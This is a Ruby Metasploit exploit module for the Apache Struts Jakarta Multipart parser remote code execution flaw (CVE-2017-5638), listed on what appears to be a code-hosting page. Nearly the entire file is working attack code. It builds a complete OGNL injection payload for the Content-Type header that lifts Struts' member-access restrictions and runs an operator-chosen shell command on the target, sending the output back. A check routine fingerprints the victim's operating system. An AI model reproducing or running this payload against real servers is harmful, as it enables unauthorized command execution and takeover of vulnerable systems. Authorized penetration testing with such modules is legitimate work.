James Lee
129 lines
4.5 KiB
Ruby
129 lines
4.5 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Apache Struts Jakarta Multipart Parser Remote Code Execution',
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'Description' => %q{
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This module exploits a remote code execution vunlerability in Apache Struts
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version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed
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via http Content-Type header.
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},
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'Author' => [ 'Nixawk' ],
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'References' => [
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['CVE', '2017-5638'],
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['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-045']
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],
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'Platform' => %w{ unix win },
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'Privileged' => true,
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'Targets' =>
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[
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['Apache Struts2 / unix', {} ],
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['Apache Struts2 / win', {} ]
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],
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'DisclosureDate' => 'Mar 07 2017',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(8080),
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OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-showcase/' ]),
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OptString.new('CMD', [true, 'The command to be executed in remote server', 'dir'])
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]
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)
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end
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def print_status(msg='')
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super("#{peer} - #{msg}")
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end
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def send_http_request(payload)
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uri = normalize_uri(datastore["TARGETURI"])
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resp = send_request_cgi(
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'uri' => uri,
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'version' => '1.1',
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'method' => 'GET',
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'headers' => {
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'Content-Type': payload
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}
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)
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if resp && resp.code == 404
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fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
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end
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resp
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end
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def http_send_command(cmd)
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payload = "%{(#_='multipart/form-data')."
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payload << "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
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payload << "(#_memberAccess?"
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payload << "(#_memberAccess=#dm):"
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payload << "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
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payload << "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
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payload << "(#ognlUtil.getExcludedPackageNames().clear())."
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payload << "(#ognlUtil.getExcludedClasses().clear())."
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payload << "(#context.setMemberAccess(#dm))))."
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payload << "(#cmd='#{cmd}')."
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payload << "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
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payload << "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
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payload << "(#p=new java.lang.ProcessBuilder(#cmds))."
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payload << "(#p.redirectErrorStream(true))."
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payload << "(#process=#p.start())."
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payload << "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
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payload << "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
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payload << "(#ros.flush())}"
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send_http_request(payload)
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end
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def check
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var_a = rand_text_alpha_lower(4)
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payload = ""
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payload << %q|%{|
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payload << %q|(#_='multipart/form-data').|
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payload << %q|(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).|
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payload << %q|(#_memberAccess?|
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payload << %q|(#_memberAccess=#dm):|
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payload << %q|((#container=#context['com.opensymphony.xwork2.ActionContext.container']).|
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payload << %q|(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).|
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payload << %q|(#ognlUtil.getExcludedPackageNames().clear()).|
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payload << %q|(#ognlUtil.getExcludedClasses().clear()).|
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payload << %q|(#context.setMemberAccess(#dm)))).|
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payload << %q|(#os=@java.lang.System@getProperty('os.name')).|
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payload << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))|
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payload << %q|}|
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begin
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resp = send_http_request(payload)
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rescue Msf::Exploit::Failed
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return Exploit::CheckCode::Unknown
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end
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if resp && resp.code == 200 && resp.headers[var_a]
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print_good("Victim operating system: #{resp.headers[var_a]}")
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Exploit::CheckCode::Vulnerable
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else
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Exploit::CheckCode::Safe
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end
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end
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def exploit
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unless check == Exploit::CheckCode::Vulnerable
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fail_with(Failure::NotVulnerable, "Exploit not available on this system.")
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end
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resp = http_send_command(datastore['cmd'])
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print_status("Command output: #{resp.body}")
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end
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end
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